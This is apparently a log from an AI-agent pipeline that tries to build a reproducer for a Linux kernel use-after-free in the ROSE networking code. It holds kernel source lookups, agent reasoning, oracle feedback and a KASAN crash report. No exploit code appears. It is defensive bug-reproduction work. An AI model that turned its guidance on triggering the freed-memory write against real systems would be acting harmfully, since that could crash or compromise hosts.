Okay, so we're looking at `netif_set_mac_address`. Right away, my mind starts spinning through the implications. I need to think about *why* we're even considering this function. Are we talking about a static MAC address assignment, potentially at boot time or driver initialization? Or are we in a more dynamic scenario, maybe related to virtual interfaces, VLANs, or network namespace manipulation? Knowing the context is key to understanding the potential pitfalls and performance implications.

My first check would be the code itself. I'd be looking at the function's arguments: the `netif` pointer, obviously, and then the MAC address itself. What data type is it? Is it a standard `struct ether_addr` or a raw byte array? Any sanity checks on the MAC address format itself? I'd expect validation to prevent garbage data from being programmed.

Then, I'm digging into what the function actually *does*. Does it directly write the MAC address to the hardware registers of the NIC? Or does it potentially interact with any link-layer configuration structures? Are there any locks involved, potentially protecting against race conditions if multiple threads are vying for the same NIC? How does it handle errors? Are there specific error codes returned? What about any side effects? Any related functions that might need to be called after the MAC address is set (e.g., to notify the driver or higher-level network layers)? What about cache coherency? Does it flush any caches if necessary?

I'm thinking about the low-level implications. Network drivers are notoriously complex; I'll need to remember the architectural context. Does this function interact with any of the DMA setup or descriptor rings? What about interrupt handling? A poorly-written `netif_set_mac_address` could lead to all kinds of weirdness and instability.

Also, I have to consider the potential for fragmentation or inconsistencies. What about if the function is being used on a bridge? Will the bridge handle updating the MAC address properly or do additional calls need to be made to maintain consistency?

Finally, how about power management? Are there any potential issues that could arise? How does the MAC address setting interact with wake-on-LAN features or other power-saving mechanisms on the NIC?

In essence, I need a holistic understanding of this function. Not just its implementation details, but its place within the broader network stack and its potential impact on performance, stability, and security. It's a critical little piece of the puzzle that demands thorough examination.



181/4 2026/05/26 11:56 tool codesearch-definition-source
0m Args:
map[ContextFile:net/core/dev_api.c IncludeLines:true Name:netif_set_mac_address]

Results:
map[SourceCode:9996:	int netif_set_mac_address(struct net_device *dev, struct sockaddr_storage *ss,
9997:				  struct netlink_ext_ack *extack)
9998:	{
9999:		const struct net_device_ops *ops = dev->netdev_ops;
10000:		int err;
10001:	
10002:		if (!ops->ndo_set_mac_address)
10003:			return -EOPNOTSUPP;
10004:		if (ss->ss_family != dev->type)
10005:			return -EINVAL;
10006:		if (!netif_device_present(dev))
10007:			return -ENODEV;
10008:		err = netif_pre_changeaddr_notify(dev, ss->__data, extack);
10009:		if (err)
10010:			return err;
10011:		if (memcmp(dev->dev_addr, ss->__data, dev->addr_len)) {
10012:			err = ops->ndo_set_mac_address(dev, ss);
10013:			if (err)
10014:				return err;
10015:		}
10016:		dev->addr_assign_type = NET_ADDR_SET;
10017:		call_netdevice_notifiers(NETDEV_CHANGEADDR, dev);
10018:		add_device_randomness(dev->dev_addr, dev->addr_len);
10019:		return 0;
10020:	}
 SourceFile:net/core/dev.c]

182/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17515
							output: 41
							thoughts: 357
						

Thoughts:
**Debugging a Rose Interface Misconfiguration**

Okay, so I'm looking at this error, and the core of it seems to be in `ss->ss_family != dev->type`. The return code is `-EINVAL`, which makes sense given that we're seeing a mismatch here. Specifically, `dev->type` for `rose0` is `ARPHRD_ROSE`, which has the value 270. But the reproducer is passing `sa_family=0xb`, or 11. Wait a second... `AF_ROSE` is *also* 11! I should have known, I remember that `include/linux/socket.h`: `#define AF_ROSE 11`.

So, the issue is clear: the reproducer is passing the address family (`AF_ROSE`) instead of the hardware type (`ARPHRD_ROSE`) to `SIOCSIFHWADDR`. `SIOCSIFHWADDR` is expecting the hardware type for `sa_family`, not the address family. That's the root cause of the invalid argument error.

Now, I'm going to shift my focus to a related issue: a `bind` failure. I'm seeing this error message:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
```
Why is `bind` returning `EADDRNOTAVAIL`? It's time to check the `rose_bind` function in `net/rose/af_rose.c` to understand the conditions that trigger this error.



183/4 2026/05/26 11:56 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

Results:
map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

184/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19486
							output: 43
							thoughts: 43
						

Thoughts:
Okay, here's my interpretation of that thought process, assuming I'm an expert in this area:

**Digging into a Rose Binding Issue**

Right, `rose_bind` is returning `-EADDRNOTAVAIL`. That usually means something's wrong with the address. My first instinct is to see where the failure is occurring. The text tells me that this error stems from a null return from `rose_dev_get` call, and I need to investigate the behavior of that function. Let's trace back from the failure to find the root of the problem. Time to look into `rose_dev_get` and figure out why it's failing to resolve the rose address.



185/4 2026/05/26 11:56 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_dev_get]

Results:
map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

186/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20028
							output: 585
							thoughts: 1239
						

Thoughts:
**Analyzing the ROSE Interface and the KASAN Bug**

Okay, let's break this down. My initial assessment is that the root cause of the reproducer's failure lies in an incorrect usage of `SIOCSIFHWADDR`. The problem is that the code is passing the wrong address family. Specifically, `rose_dev_get` is failing because the hardware address isn't being set correctly during interface configuration. The `bind` call, expecting a specific MAC address (`01:00:00:00:00`), ultimately fails with `-EADDRNOTAVAIL` because the interface hasn't been properly configured with that address. It's clear that the reproducer's `SIOCSIFHWADDR` call is using `AF_ROSE` (11) as the `sa_family`, which is incorrect. The kernel expects `ARPHRD_ROSE` (270) for this hardware. The `strace` output confirms this: `ioctl(4, SIOCSIFHWADDR, ...)` shows `sa_family=0xb`, which is `AF_ROSE`.

Therefore, the crucial first step is to fix the `sa_family` in the reproducer from `AF_ROSE` to `ARPHRD_ROSE` (or 270). The `SIOCSIFHWADDR` operation is failing with `-EINVAL`, a clear indication of an incorrect parameter passed to the ioctl call. This also explains why the `rose0` interface, after the failed ioctl, still has its default MAC address (likely all zeros), and thus doesn't match the address the bind call requires.

Now, let's address the actual bug reported: a KASAN slab-use-after-free write in `rose_send_frame`. The stack trace points to a race condition or a missed timer cancellation related to `rose_neigh`. It seems a `rose_neigh` object is freed by `rose_timer_expiry`, but `rose_t0timer_expiry` is still actively using it. This is a critical timing issue. The object is being freed while another function is still trying to access it.

Based on the stack trace, the sequence is:
1.  A `rose_neigh` is created via `rose_rt_ioctl` (likely a route addition).
2.  Then, a timer is setup via the `rose_neigh` object.
3.  The timer expires.
4.  The `rose_timer_expiry` function runs, and frees the `rose_neigh` object.
5.  A race exists because `rose_t0timer_expiry` is still running when the object is freed, and it attempts to read the freed object.

Given the error, the reproducer's setup phase is failing due to the `SIOCSIFHWADDR` issue, so the race condition is never triggered. I expect that a working reproducer will set up a `rose_neigh` object using `rose_rt_ioctl`, likely a `SIOCADDRT` call to add a ROSE route, and then trigger the timers.

Since the agent is still trying to build a reproducer, the fix should be:
1.  Fix the `sa_family` to `ARPHRD_ROSE` (270) in the `SIOCSIFHWADDR` call.
2.  Ensure that after fixing the `SIOCSIFHWADDR`, `bind()` is successful to ensure the address is configured.
3.  Continue with the rest of the reproducer setup, which will likely involve setting up a ROSE route to trigger the timer.

The `IsProbe` is false, so if the agent fixes the `SIOCSIFHWADDR`, then the execution will probably complete without a crash (assuming they didn't continue on with the bind with the wrong address). I'll wait to review the results after they fix the `SIOCSIFHWADDR` and rerun the reproducer.



187/4 2026/05/26 11:57 tool set-results
0m Args:
map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

Results:
map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

188/3 2026/05/26 11:57 action loop-controller
0m Results:
map[ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. ProbeSuccessful:true ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

189/2 2026/05/26 11:57 iteration 2
4m
190/3 2026/05/26 11:57 action If
0m Args:
map[OracleFeedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed.]

191/4 2026/05/26 11:57 agent strategy-refiner
0m Model:
gemini-3.1-pro-preview

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Analyze the technical diagnosis provided in the oracle feedback and translate it
into concrete, step-by-step instructions for the repro-generator on how to modify
the code structure, alignments, offsets, or parameters of the candidate program.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
